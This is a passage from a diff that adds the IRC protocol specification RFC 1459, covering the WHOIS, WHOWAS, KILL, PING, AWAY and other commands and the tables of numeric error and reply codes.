+   The <name> passed to WHO is matched against users' host, server, real
+   name and nickname if the channel <name> cannot be found.
+
+   If the "o" parameter is passed only operators are returned according
+   to the name mask supplied.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_WHOREPLY                    RPL_ENDOFWHO
+
+   Examples:
+
+   WHO *.fi                        ; List all users who match against
+                                   "*.fi".
+
+   WHO jto* o                      ; List all users with a match against
+                                   "jto*" if they are an operator.
+
+4.5.2 Whois query
+
+      Command: WHOIS
+   Parameters: [<server>] <nickmask>[,<nickmask>[,...]]
+
+   This message is used to query information about particular user.  The
+   server will answer this message with several numeric messages
+   indicating different statuses of each user which matches the nickmask
+   (if you are entitled to see them).  If no wildcard is present in the
+   <nickmask>, any information about that nick which you are allowed to
+   see is presented.  A comma (',') separated list of nicknames may be
+   given.
+
+   The latter version sends the query to a specific server.  It is
+   useful if you want to know how long the user in question has been
+   idle as only local server (ie. the server the user is directly
+   connected to) knows that information, while everything else is
+   globally known.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER                ERR_NONICKNAMEGIVEN
+           RPL_WHOISUSER                   RPL_WHOISCHANNELS
+           RPL_WHOISCHANNELS               RPL_WHOISSERVER
+           RPL_AWAY                        RPL_WHOISOPERATOR
+           RPL_WHOISIDLE                   ERR_NOSUCHNICK
+           RPL_ENDOFWHOIS
+
+
+
+Oikarinen & Reed                                               [Page 34]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   Examples:
+
+   WHOIS wiz                       ; return available user information
+                                   about nick WiZ
+
+   WHOIS eff.org trillian          ; ask server eff.org for user
+                                   information about trillian
+
+4.5.3 Whowas
+
+      Command: WHOWAS
+   Parameters: <nickname> [<count> [<server>]]
+
+   Whowas asks for information about a nickname which no longer exists.
+   This may either be due to a nickname change or the user leaving IRC.
+   In response to this query, the server searches through its nickname
+   history, looking for any nicks which are lexically the same (no wild
+   card matching here).  The history is searched backward, returning the
+   most recent entry first.  If there are multiple entries, up to
+   <count> replies will be returned (or all of them if no <count>
+   parameter is given).  If a non-positive number is passed as being
+   <count>, then a full search is done.
+
+   Numeric Replies:
+
+           ERR_NONICKNAMEGIVEN             ERR_WASNOSUCHNICK
+           RPL_WHOWASUSER                  RPL_WHOISSERVER
+           RPL_ENDOFWHOWAS
+
+   Examples:
+
+   WHOWAS Wiz                      ; return all information in the nick
+                                   history about nick "WiZ";
+
+   WHOWAS Mermaid 9                ; return at most, the 9 most recent
+                                   entries in the nick history for
+                                   "Mermaid";
+
+   WHOWAS Trillian 1 *.edu         ; return the most recent history for
+                                   "Trillian" from the first server found
+                                   to match "*.edu".
+
+4.6 Miscellaneous messages
+
+   Messages in this category do not fit into any of the above categories
+   but are nonetheless still a part of and required by the protocol.
+
+
+
+
+
+Oikarinen & Reed                                               [Page 35]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+4.6.1 Kill message
+
+      Command: KILL
+   Parameters: <nickname> <comment>
+
+   The KILL message is used to cause a client-server connection to be
+   closed by the server which has the actual connection.  KILL is used
+   by servers when they encounter a duplicate entry in the list of valid
+   nicknames and is used to remove both entries.  It is also available
+   to operators.
+
+   Clients which have automatic reconnect algorithms effectively make
+   this command useless since the disconnection is only brief.  It does
+   however break the flow of data and can be used to stop large amounts
+   of being abused, any user may elect to receive KILL messages
+   generated for others to keep an 'eye' on would be trouble spots.
+
+   In an arena where nicknames are required to be globally unique at all
+   times, KILL messages are sent whenever 'duplicates' are detected
+   (that is an attempt to register two users with the same nickname) in
+   the hope that both of them will disappear and only 1 reappear.
+
+   The comment given must reflect the actual reason for the KILL.  For
+   server-generated KILLs it usually is made up of details concerning
+   the origins of the two conflicting nicknames.  For users it is left
+   up to them to provide an adequate reason to satisfy others who see
+   it.  To prevent/discourage fake KILLs from being generated to hide
+   the identify of the KILLer, the comment also shows a 'kill-path'
+   which is updated by each server it passes through, each prepending
+   its name to the path.
+
+   Numeric Replies:
+
+           ERR_NOPRIVILEGES                ERR_NEEDMOREPARAMS
+           ERR_NOSUCHNICK                  ERR_CANTKILLSERVER
+
+
+   KILL David (csd.bu.edu <- tolsun.oulu.fi)
+                                   ; Nickname collision between csd.bu.edu
+                                   and tolson.oulu.fi
+
+
+   NOTE:
+   It is recommended that only Operators be allowed to kill other users
+   with KILL message.  In an ideal world not even operators would need
+   to do this and it would be left to servers to deal with.
+
+
+
+
+
+Oikarinen & Reed                                               [Page 36]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+4.6.2 Ping message
+
+      Command: PING
+   Parameters: <server1> [<server2>]
+
+   The PING message is used to test the presence of an active client at
+   the other end of the connection.  A PING message is sent at regular
+   intervals if no other activity detected coming from a connection.  If
+   a connection fails to respond to a PING command within a set amount
+   of time, that connection is closed.
+
+   Any client which receives a PING message must respond to <server1>
+   (server which sent the PING message out) as quickly as possible with
+   an appropriate PONG message to indicate it is still there and alive.
+   Servers should not respond to PING commands but rely on PINGs from
+   the other end of the connection to indicate the connection is alive.
+   If the <server2> parameter is specified, the PING message gets
+   forwarded there.
+
+   Numeric Replies:
+
+           ERR_NOORIGIN                    ERR_NOSUCHSERVER
+
+   Examples:
+
+   PING tolsun.oulu.fi             ; server sending a PING message to
+                                   another server to indicate it is still
+                                   alive.
+
+   PING WiZ                        ; PING message being sent to nick WiZ
+
+4.6.3 Pong message
+
+      Command: PONG
+   Parameters: <daemon> [<daemon2>]
+
+   PONG message is a reply to ping message.  If parameter <daemon2> is
+   given this message must be forwarded to given daemon.  The <daemon>
+   parameter is the name of the daemon who has responded to PING message
+   and generated this message.
+
+   Numeric Replies:
+
+           ERR_NOORIGIN                    ERR_NOSUCHSERVER
+
+   Examples:
+
+   PONG csd.bu.edu tolsun.oulu.fi  ; PONG message from csd.bu.edu to
+
+
+
+Oikarinen & Reed                                               [Page 37]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                                   tolsun.oulu.fi
+
+4.6.4 Error
+
+      Command: ERROR
+   Parameters: <error message>
+
+   The ERROR command is for use by servers when reporting a serious or
+   fatal error to its operators.  It may also be sent from one server to
+   another but must not be accepted from any normal unknown clients.
+
+   An ERROR message is for use for reporting errors which occur with a
+   server-to-server link only.  An ERROR message is sent to the server
+   at the other end (which sends it to all of its connected operators)
+   and to all operators currently connected.  It is not to be passed
+   onto any other servers by a server if it is received from a server.
+
+   When a server sends a received ERROR message to its operators, the
+   message should be encapsulated inside a NOTICE message, indicating
+   that the client was not responsible for the error.
+
+   Numerics:
+
+           None.
+
+   Examples:
+
+   ERROR :Server *.fi already exists; ERROR message to the other server
+                                   which caused this error.
+
+   NOTICE WiZ :ERROR from csd.bu.edu -- Server *.fi already exists
+                                   ; Same ERROR message as above but sent
+                                   to user WiZ on the other server.
+
+5. OPTIONALS
+
+   This section describes OPTIONAL messages.  They are not required in a
+   working server implementation of the protocol described herein.  In
+   the absence of the option, an error reply message must be generated
+   or an unknown command error.  If the message is destined for another
+   server to answer then it must be passed on (elementary parsing
+   required) The allocated numerics for this are listed with the
+   messages below.
+
+5.1 Away
+
+      Command: AWAY
+   Parameters: [message]
+
+
+
+Oikarinen & Reed                                               [Page 38]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   With the AWAY message, clients can set an automatic reply string for
+   any PRIVMSG commands directed at them (not to a channel they are on).
+   The automatic reply is sent by the server to client sending the
+   PRIVMSG command.  The only replying server is the one to which the
+   sending client is connected to.
+
+   The AWAY message is used either with one parameter (to set an AWAY
+   message) or with no parameters (to remove the AWAY message).
+
+   Numeric Replies:
+
+           RPL_UNAWAY                      RPL_NOWAWAY
+
+   Examples:
+
+   AWAY :Gone to lunch.  Back in 5 ; set away message to "Gone to lunch.
+                                   Back in 5".
+
+   :WiZ AWAY                       ; unmark WiZ as being away.
+
+
+5.2 Rehash message
+
+      Command: REHASH
+   Parameters: None
+
+   The rehash message can be used by the operator to force the server to
+   re-read and process its configuration file.
+
+   Numeric Replies:
+
+        RPL_REHASHING                   ERR_NOPRIVILEGES
+
+Examples:
+
+REHASH                          ; message from client with operator
+                                status to server asking it to reread its
+                                configuration file.
+
+5.3 Restart message
+
+      Command: RESTART
+   Parameters: None
+
+   The restart message can only be used by an operator to force a server
+   restart itself.  This message is optional since it may be viewed as a
+   risk to allow arbitrary people to connect to a server as an operator
+   and execute this command, causing (at least) a disruption to service.
+
+
+
+Oikarinen & Reed                                               [Page 39]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   The RESTART command must always be fully processed by the server to
+   which the sending client is connected and not be passed onto other
+   connected servers.
+
+   Numeric Replies:
+
+           ERR_NOPRIVILEGES
+
+   Examples:
+
+   RESTART                         ; no parameters required.
+
+5.4 Summon message
+
+      Command: SUMMON
+   Parameters: <user> [<server>]
+
+   The SUMMON command can be used to give users who are on a host
+   running an IRC server a message asking them to please join IRC.  This
+   message is only sent if the target server (a) has SUMMON enabled, (b)
+   the user is logged in and (c) the server process can write to the
+   user's tty (or similar).
+
+   If no <server> parameter is given it tries to summon <user> from the
+   server the client is connected to is assumed as the target.
+
+   If summon is not enabled in a server, it must return the
+   ERR_SUMMONDISABLED numeric and pass the summon message onwards.
+
+   Numeric Replies:
+
+           ERR_NORECIPIENT                 ERR_FILEERROR
+           ERR_NOLOGIN                     ERR_NOSUCHSERVER
+           RPL_SUMMONING
+
+   Examples:
+
+   SUMMON jto                      ; summon user jto on the server's host
+
+   SUMMON jto tolsun.oulu.fi       ; summon user jto on the host which a
+                                   server named "tolsun.oulu.fi" is
+                                   running.
+
+
+5.5 Users
+
+      Command: USERS
+   Parameters: [<server>]
+
+
+
+Oikarinen & Reed                                               [Page 40]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   The USERS command returns a list of users logged into the server in a
+   similar  format  to  who(1),  rusers(1)  and finger(1).  Some people
+   may disable this command on their server for security related
+   reasons.   If disabled, the correct numeric must be returned to
+   indicate this.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER                ERR_FILEERROR
+           RPL_USERSSTART                  RPL_USERS
+           RPL_NOUSERS                     RPL_ENDOFUSERS
+           ERR_USERSDISABLED
+
+   Disabled Reply:
+
+           ERR_USERSDISABLED
+
+   Examples:
+
+USERS eff.org                   ; request a list of users logged in on
+                                server eff.org
+
+:John USERS tolsun.oulu.fi      ; request from John for a list of users
+                                logged in on server tolsun.oulu.fi
+
+5.6 Operwall message
+
+      Command: WALLOPS
+   Parameters: Text to be sent to all operators currently online
+
+   Sends  a  message  to  all   operators   currently   online.    After
+   implementing  WALLOPS  as  a user command it was found that it was
+   often and commonly abused as a means of sending a message to a lot
+   of  people (much  similar to WALL).  Due to this it is recommended
+   that the current implementation of  WALLOPS  be  used  as  an
+   example  by  allowing  and recognising only servers as the senders of
+   WALLOPS.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS
+
+   Examples:
+
+   :csd.bu.edu WALLOPS :Connect '*.uiuc.edu 6667' from Joshua; WALLOPS
+                                   message from csd.bu.edu announcing a
+                                   CONNECT message it received and acted
+                                   upon from Joshua.
+
+
+
+Oikarinen & Reed                                               [Page 41]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+5.7 Userhost message
+
+      Command: USERHOST
+   Parameters: <nickname>{<space><nickname>}
+
+   The USERHOST command takes a list of up to 5 nicknames, each
+   separated by a space character and returns a list of information
+   about each nickname that it found.  The returned list has each reply
+   separated by a space.
+
+   Numeric Replies:
+
+           RPL_USERHOST                    ERR_NEEDMOREPARAMS
+
+   Examples:
+
+   USERHOST Wiz Michael Marty p    ;USERHOST request for information on
+                                   nicks "Wiz", "Michael", "Marty" and "p"
+
+5.8 Ison message
+
+      Command: ISON
+   Parameters: <nickname>{<space><nickname>}
+
+   The ISON command was implemented to provide  a  quick  and  efficient
+   means  to get a response about whether a given nickname was currently
+   on IRC. ISON only takes one (1) parameter: a space-separated list of
+   nicks.  For  each  nickname in the list that is present, the server
+   adds that to its reply string.  Thus the reply string may return
+   empty (none  of  the given  nicks are present), an exact copy of the
+   parameter string (all of them present) or as any other subset of the
+   set of nicks  given  in  the parameter.  The only limit on the number
+   of nicks that may be checked is that the combined length must not be
+   too large as to cause the server to chop it off so it fits in 512
+   characters.
+
+   ISON is only be processed by the server local to the client sending
+   the command and thus not passed onto other servers for further
+   processing.
+
+   Numeric Replies:
+
+           RPL_ISON                ERR_NEEDMOREPARAMS
+
+   Examples:
+
+   ISON phone trillian WiZ jarlek Avalon Angel Monstah
+                                   ; Sample ISON request for 7 nicks.
+
+
+
+Oikarinen & Reed                                               [Page 42]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+6. REPLIES
+
+   The following is a list of numeric replies which are generated in
+   response to the commands given above.  Each numeric is given with its
+   number, name and reply string.
+
+6.1 Error Replies.
+
+        401     ERR_NOSUCHNICK
+                        "<nickname> :No such nick/channel"
+
+                - Used to indicate the nickname parameter supplied to a
+                  command is currently unused.
+
+        402     ERR_NOSUCHSERVER
+                        "<server name> :No such server"
+
+                - Used to indicate the server name given currently
+                  doesn't exist.
+
+        403     ERR_NOSUCHCHANNEL
+                        "<channel name> :No such channel"
+
+                - Used to indicate the given channel name is invalid.
+
+        404     ERR_CANNOTSENDTOCHAN
+                        "<channel name> :Cannot send to channel"
+
+                - Sent to a user who is either (a) not on a channel
+                  which is mode +n or (b) not a chanop (or mode +v) on
+                  a channel which has mode +m set and is trying to send
+                  a PRIVMSG message to that channel.
+
+        405     ERR_TOOMANYCHANNELS
+                        "<channel name> :You have joined too many \
+                         channels"
+                - Sent to a user when they have joined the maximum
+                  number of allowed channels and they try to join
+                  another channel.
+
+        406     ERR_WASNOSUCHNICK
+                        "<nickname> :There was no such nickname"
+
+                - Returned by WHOWAS to indicate there is no history
+                  information for that nickname.
+
+        407     ERR_TOOMANYTARGETS
+                        "<target> :Duplicate recipients. No message \
+
+
+
+Oikarinen & Reed                                               [Page 43]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                         delivered"
+
+                - Returned to a client which is attempting to send a
+                  PRIVMSG/NOTICE using the user@host destination format
+                  and for a user@host which has several occurrences.
+
+        409     ERR_NOORIGIN
+                        ":No origin specified"
+
+                - PING or PONG message missing the originator parameter
+                  which is required since these commands must work
+                  without valid prefixes.
+
+        411     ERR_NORECIPIENT
+                        ":No recipient given (<command>)"
+        412     ERR_NOTEXTTOSEND
+                        ":No text to send"
+        413     ERR_NOTOPLEVEL
+                        "<mask> :No toplevel domain specified"
+        414     ERR_WILDTOPLEVEL
+                        "<mask> :Wildcard in toplevel domain"
+
+                - 412 - 414 are returned by PRIVMSG to indicate that
+                  the message wasn't delivered for some reason.
+                  ERR_NOTOPLEVEL and ERR_WILDTOPLEVEL are errors that
+                  are returned when an invalid use of
+                  "PRIVMSG $<server>" or "PRIVMSG #<host>" is attempted.
+
+        421     ERR_UNKNOWNCOMMAND
+                        "<command> :Unknown command"
+
+                - Returned to a registered client to indicate that the
+                  command sent is unknown by the server.
+
+        422     ERR_NOMOTD
+                        ":MOTD File is missing"
+
+                - Server's MOTD file could not be opened by the server.
+
+        423     ERR_NOADMININFO
+                        "<server> :No administrative info available"
+
+                - Returned by a server in response to an ADMIN message
+                  when there is an error in finding the appropriate
+                  information.
+
+        424     ERR_FILEERROR
+                ":File error doing <file op> on <file>"
+
+
+
+Oikarinen & Reed                                               [Page 44]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                - Generic error message used to report a failed file
+                  operation during the processing of a message.
+
+        431     ERR_NONICKNAMEGIVEN
+                        ":No nickname given"
+
+                - Returned when a nickname parameter expected for a
+                  command and isn't found.
+
+        432     ERR_ERRONEUSNICKNAME
+                        "<nick> :Erroneus nickname"
+
+                - Returned after receiving a NICK message which contains
+                  characters which do not fall in the defined set.  See
+                  section x.x.x for details on valid nicknames.
+
+        433     ERR_NICKNAMEINUSE
+                        "<nick> :Nickname is already in use"
+
+                - Returned when a NICK message is processed that results
+                  in an attempt to change to a currently existing
+                  nickname.
+
+        436     ERR_NICKCOLLISION
+                        "<nick> :Nickname collision KILL"
+
+                - Returned by a server to a client when it detects a
+                  nickname collision (registered of a NICK that
+                  already exists by another server).
+
+        441     ERR_USERNOTINCHANNEL
+                        "<nick> <channel> :They aren't on that channel"
+
+                - Returned by the server to indicate that the target
+                  user of the command is not on the given channel.
+
+        442     ERR_NOTONCHANNEL
+                        "<channel> :You're not on that channel"
+
+                - Returned by the server whenever a client tries to
+                  perform a channel effecting command for which the
+                  client isn't a member.
+
+        443     ERR_USERONCHANNEL
+                        "<user> <channel> :is already on channel"
+
+                - Returned when a client tries to invite a user to a
+                  channel they are already on.
+
+
+
+Oikarinen & Reed                                               [Page 45]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+        444     ERR_NOLOGIN
+                        "<user> :User not logged in"
+
+                - Returned by the summon after a SUMMON command for a
+                  user was unable to be performed since they were not
+                  logged in.
+
+        445     ERR_SUMMONDISABLED
+                        ":SUMMON has been disabled"
+
+                - Returned as a response to the SUMMON command.  Must be
+                  returned by any server which does not implement it.
+
+        446     ERR_USERSDISABLED
+                        ":USERS has been disabled"
+
+                - Returned as a response to the USERS command.  Must be
+                  returned by any server which does not implement it.
+
+        451     ERR_NOTREGISTERED
+                        ":You have not registered"
+
+                - Returned by the server to indicate that the client
+                  must be registered before the server will allow it
+                  to be parsed in detail.
+
+        461     ERR_NEEDMOREPARAMS
+                        "<command> :Not enough parameters"
+
+                - Returned by the server by numerous commands to
+                  indicate to the client that it didn't supply enough
+                  parameters.
+
+        462     ERR_ALREADYREGISTRED
+                        ":You may not reregister"
+
+                - Returned by the server to any link which tries to
+                  change part of the registered details (such as
+                  password or user details from second USER message).
+
+
+        463     ERR_NOPERMFORHOST
+                        ":Your host isn't among the privileged"
+
+                - Returned to a client which attempts to register with
+                  a server which does not been setup to allow
+                  connections from the host the attempted connection
+                  is tried.
+
+
+
+Oikarinen & Reed                                               [Page 46]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+        464     ERR_PASSWDMISMATCH
+                        ":Password incorrect"
+
+                - Returned to indicate a failed attempt at registering
+                  a connection for which a password was required and
+                  was either not given or incorrect.
+
+        465     ERR_YOUREBANNEDCREEP
+                        ":You are banned from this server"
+
+                - Returned after an attempt to connect and register
+                  yourself with a server which has been setup to
+                  explicitly deny connections to you.
+
+        467     ERR_KEYSET
+                        "<channel> :Channel key already set"
+        471     ERR_CHANNELISFULL
+                        "<channel> :Cannot join channel (+l)"
+        472     ERR_UNKNOWNMODE
+                        "<char> :is unknown mode char to me"
+        473     ERR_INVITEONLYCHAN
+                        "<channel> :Cannot join channel (+i)"
+        474     ERR_BANNEDFROMCHAN
+                        "<channel> :Cannot join channel (+b)"
+        475     ERR_BADCHANNELKEY
+                        "<channel> :Cannot join channel (+k)"
+        481     ERR_NOPRIVILEGES
+                        ":Permission Denied- You're not an IRC operator"
+
+                - Any command requiring operator privileges to operate
+                  must return this error to indicate the attempt was
+                  unsuccessful.
+
+        482     ERR_CHANOPRIVSNEEDED
+                        "<channel> :You're not channel operator"
+
+                - Any command requiring 'chanop' privileges (such as
+                  MODE messages) must return this error if the client
+                  making the attempt is not a chanop on the specified
+                  channel.
+
+        483     ERR_CANTKILLSERVER
+                        ":You cant kill a server!"
+
+                - Any attempts to use the KILL command on a server
+                  are to be refused and this error returned directly
+                  to the client.
+
+
+
+
+Oikarinen & Reed                                               [Page 47]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+        491     ERR_NOOPERHOST
+                        ":No O-lines for your host"
+
+                - If a client sends an OPER message and the server has
+                  not been configured to allow connections from the
+                  client's host as an operator, this error must be
+                  returned.
+
+        501     ERR_UMODEUNKNOWNFLAG
+                        ":Unknown MODE flag"
+
+                - Returned by the server to indicate that a MODE
+                  message was sent with a nickname parameter and that
+                  the a mode flag sent was not recognized.
+
+        502     ERR_USERSDONTMATCH
+                        ":Cant change mode for other users"
+
+                - Error sent to any user trying to view or change the
+                  user mode for a user other than themselves.
+
+6.2 Command responses.
+
+        300     RPL_NONE
+                        Dummy reply number. Not used.
+
+        302     RPL_USERHOST
+                        ":[<reply>{<space><reply>}]"
+
+                - Reply format used by USERHOST to list replies to
+                  the query list.  The reply string is composed as
+                  follows:
+
+                  <reply> ::= <nick>['*'] '=' <'+'|'-'><hostname>
+
+                  The '*' indicates whether the client has registered
+                  as an Operator.  The '-' or '+' characters represent
+                  whether the client has set an AWAY message or not
+                  respectively.
+
+        303     RPL_ISON
+                        ":[<nick> {<space><nick>}]"
+
+                - Reply format used by ISON to list replies to the
+                  query list.
+
+        301     RPL_AWAY
+                        "<nick> :<away message>"
+
+
+
+Oikarinen & Reed                                               [Page 48]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+        305     RPL_UNAWAY
+                        ":You are no longer marked as being away"
+        306     RPL_NOWAWAY
+                        ":You have been marked as being away"
+
+                - These replies are used with the AWAY command (if
+                  allowed).  RPL_AWAY is sent to any client sending a
+                  PRIVMSG to a client which is away.  RPL_AWAY is only
+                  sent by the server to which the client is connected.
+                  Replies RPL_UNAWAY and RPL_NOWAWAY are sent when the
+                  client removes and sets an AWAY message.
+
+        311     RPL_WHOISUSER
+                        "<nick> <user> <host> * :<real name>"
+        312     RPL_WHOISSERVER
+                        "<nick> <server> :<server info>"
+        313     RPL_WHOISOPERATOR
+                        "<nick> :is an IRC operator"
+        317     RPL_WHOISIDLE
+                        "<nick> <integer> :seconds idle"
+        318     RPL_ENDOFWHOIS
+                        "<nick> :End of /WHOIS list"
+        319     RPL_WHOISCHANNELS
+                        "<nick> :{[@|+]<channel><space>}"
+
+                - Replies 311 - 313, 317 - 319 are all replies
+                  generated in response to a WHOIS message.  Given that
+                  there are enough parameters present, the answering
+                  server must either formulate a reply out of the above
+                  numerics (if the query nick is found) or return an
+                  error reply.  The '*' in RPL_WHOISUSER is there as
+                  the literal character and not as a wild card.  For
+                  each reply set, only RPL_WHOISCHANNELS may appear
+                  more than once (for long lists of channel names).
+                  The '@' and '+' characters next to the channel name
+                  indicate whether a client is a channel operator or
+                  has been granted permission to speak on a moderated
+                  channel.  The RPL_ENDOFWHOIS reply is used to mark
+                  the end of processing a WHOIS message.
+
+        314     RPL_WHOWASUSER
+                        "<nick> <user> <host> * :<real name>"
+        369     RPL_ENDOFWHOWAS
+                        "<nick> :End of WHOWAS"
+
+                - When replying to a WHOWAS message, a server must use
+                  the replies RPL_WHOWASUSER, RPL_WHOISSERVER or
+                  ERR_WASNOSUCHNICK for each nickname in the presented
+
+
+
+Oikarinen & Reed                                               [Page 49]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                  list.  At the end of all reply batches, there must
+                  be RPL_ENDOFWHOWAS (even if there was only one reply
+                  and it was an error).
+
+        321     RPL_LISTSTART
+                        "Channel :Users  Name"
+        322     RPL_LIST
+                        "<channel> <# visible> :<topic>"
+        323     RPL_LISTEND
+                        ":End of /LIST"
+
+                - Replies RPL_LISTSTART, RPL_LIST, RPL_LISTEND mark
+                  the start, actual replies with data and end of the
+                  server's response to a LIST command.  If there are
+                  no channels available to return, only the start
+                  and end reply must be sent.
+
+        324     RPL_CHANNELMODEIS
+                        "<channel> <mode> <mode params>"
+
+        331     RPL_NOTOPIC
+                        "<channel> :No topic is set"
+        332     RPL_TOPIC
+                        "<channel> :<topic>"
+
+                - When sending a TOPIC message to determine the
+                  channel topic, one of two replies is sent.  If
+                  the topic is set, RPL_TOPIC is sent back else
+                  RPL_NOTOPIC.
+
+        341     RPL_INVITING
+                        "<channel> <nick>"
+
+                - Returned by the server to indicate that the
+                  attempted INVITE message was successful and is
+                  being passed onto the end client.
+
+        342     RPL_SUMMONING
+                        "<user> :Summoning user to IRC"
+
+                - Returned by a server answering a SUMMON message to
+                  indicate that it is summoning that user.
+
+        351     RPL_VERSION
+                        "<version>.<debuglevel> <server> :<comments>"
+
+                - Reply by the server showing its version details.
+                  The <version> is the version of the software being
+
+
+
+Oikarinen & Reed                                               [Page 50]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                  used (including any patchlevel revisions) and the
+                  <debuglevel> is used to indicate if the server is
+                  running in "debug mode".
+
+                  The "comments" field may contain any comments about
+                  the version or further version details.
+
+        352     RPL_WHOREPLY
+                        "<channel> <user> <host> <server> <nick> \
+                         <H|G>[*][@|+] :<hopcount> <real name>"
+        315     RPL_ENDOFWHO
+                        "<name> :End of /WHO list"
+
+                - The RPL_WHOREPLY and RPL_ENDOFWHO pair are used
+                  to answer a WHO message.  The RPL_WHOREPLY is only
+                  sent if there is an appropriate match to the WHO
+                  query.  If there is a list of parameters supplied
+                  with a WHO message, a RPL_ENDOFWHO must be sent
+                  after processing each list item with <name> being
+                  the item.
+
+        353     RPL_NAMREPLY
+                        "<channel> :[[@|+]<nick> [[@|+]<nick> [...]]]"
+        366     RPL_ENDOFNAMES
+                        "<channel> :End of /NAMES list"
+
+                - To reply to a NAMES message, a reply pair consisting
+                  of RPL_NAMREPLY and RPL_ENDOFNAMES is sent by the
+                  server back to the client.  If there is no channel
+                  found as in the query, then only RPL_ENDOFNAMES is
+                  returned.  The exception to this is when a NAMES
+                  message is sent with no parameters and all visible
+                  channels and contents are sent back in a series of
+                  RPL_NAMEREPLY messages with a RPL_ENDOFNAMES to mark
+                  the end.
+
+        364     RPL_LINKS
+                        "<mask> <server> :<hopcount> <server info>"
+        365     RPL_ENDOFLINKS
+                        "<mask> :End of /LINKS list"
+
+                - In replying to the LINKS message, a server must send
+                  replies back using the RPL_LINKS numeric and mark the
+                  end of the list using an RPL_ENDOFLINKS reply.
+
+        367     RPL_BANLIST
+                        "<channel> <banid>"
+        368     RPL_ENDOFBANLIST
+
+
+
+Oikarinen & Reed                                               [Page 51]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                        "<channel> :End of channel ban list"
+
+                - When listing the active 'bans' for a given channel,
+                  a server is required to send the list back using the
+                  RPL_BANLIST and RPL_ENDOFBANLIST messages.  A separate
+                  RPL_BANLIST is sent for each active banid.  After the
+                  banids have been listed (or if none present) a
+                  RPL_ENDOFBANLIST must be sent.
+
+        371     RPL_INFO
+                        ":<string>"
+        374     RPL_ENDOFINFO
+                        ":End of /INFO list"
+
+                - A server responding to an INFO message is required to
+                  send all its 'info' in a series of RPL_INFO messages
+                  with a RPL_ENDOFINFO reply to indicate the end of the
+                  replies.
+
+        375     RPL_MOTDSTART
+                        ":- <server> Message of the day - "
+        372     RPL_MOTD
+                        ":- <text>"
+        376     RPL_ENDOFMOTD
+                        ":End of /MOTD command"
+
+                - When responding to the MOTD message and the MOTD file
+                  is found, the file is displayed line by line, with
+                  each line no longer than 80 characters, using
+                  RPL_MOTD format replies.  These should be surrounded
+                  by a RPL_MOTDSTART (before the RPL_MOTDs) and an
+                  RPL_ENDOFMOTD (after).
+
+        381     RPL_YOUREOPER
+                        ":You are now an IRC operator"
+
+                - RPL_YOUREOPER is sent back to a client which has
+                  just successfully issued an OPER message and gained
+                  operator status.
+
+        382     RPL_REHASHING
+                        "<config file> :Rehashing"
+
+                - If the REHASH option is used and an operator sends
+                  a REHASH message, an RPL_REHASHING is sent back to
+                  the operator.
+
+        391     RPL_TIME
+
+
+
+Oikarinen & Reed                                               [Page 52]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                        "<server> :<string showing server's local time>"
+
+                - When replying to the TIME message, a server must send
+                  the reply using the RPL_TIME format above.  The string
+                  showing the time need only contain the correct day and
+                  time there.  There is no further requirement for the
+                  time string.
+
+        392     RPL_USERSSTART
+                        ":UserID   Terminal  Host"
+        393     RPL_USERS
+                        ":%-8s %-9s %-8s"
+        394     RPL_ENDOFUSERS
+                        ":End of users"
+        395     RPL_NOUSERS
+                        ":Nobody logged in"
+
+                - If the USERS message is handled by a server, the
+                  replies RPL_USERSTART, RPL_USERS, RPL_ENDOFUSERS and
+                  RPL_NOUSERS are used.  RPL_USERSSTART must be sent
+                  first, following by either a sequence of RPL_USERS
+                  or a single RPL_NOUSER.  Following this is
+                  RPL_ENDOFUSERS.
+
+        200     RPL_TRACELINK
+                        "Link <version & debug level> <destination> \
+                         <next server>"
+        201     RPL_TRACECONNECTING
+                        "Try. <class> <server>"
+        202     RPL_TRACEHANDSHAKE
+                        "H.S. <class> <server>"
+        203     RPL_TRACEUNKNOWN
+                        "???? <class> [<client IP address in dot form>]"
+        204     RPL_TRACEOPERATOR
+                        "Oper <class> <nick>"
+        205     RPL_TRACEUSER
+                        "User <class> <nick>"
+        206     RPL_TRACESERVER
+                        "Serv <class> <int>S <int>C <server> \
+                         <nick!user|*!*>@<host|server>"
+        208     RPL_TRACENEWTYPE
+                        "<newtype> 0 <client name>"
+        261     RPL_TRACELOG
+                        "File <logfile> <debug level>"
+
+                - The RPL_TRACE* are all returned by the server in
+                  response to the TRACE message.  How many are
+                  returned is dependent on the the TRACE message and
+
+
+
+Oikarinen & Reed                                               [Page 53]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                  whether it was sent by an operator or not.  There
+                  is no predefined order for which occurs first.
+                  Replies RPL_TRACEUNKNOWN, RPL_TRACECONNECTING and
+                  RPL_TRACEHANDSHAKE are all used for connections
+                  which have not been fully established and are either
+                  unknown, still attempting to connect or in the
+                  process of completing the 'server handshake'.
+                  RPL_TRACELINK is sent by any server which handles
+                  a TRACE message and has to pass it on to another
+                  server.  The list of RPL_TRACELINKs sent in
+                  response to a TRACE command traversing the IRC
+                  network should reflect the actual connectivity of
+                  the servers themselves along that path.
+                  RPL_TRACENEWTYPE is to be used for any connection
+                  which does not fit in the other categories but is
+                  being displayed anyway.
+
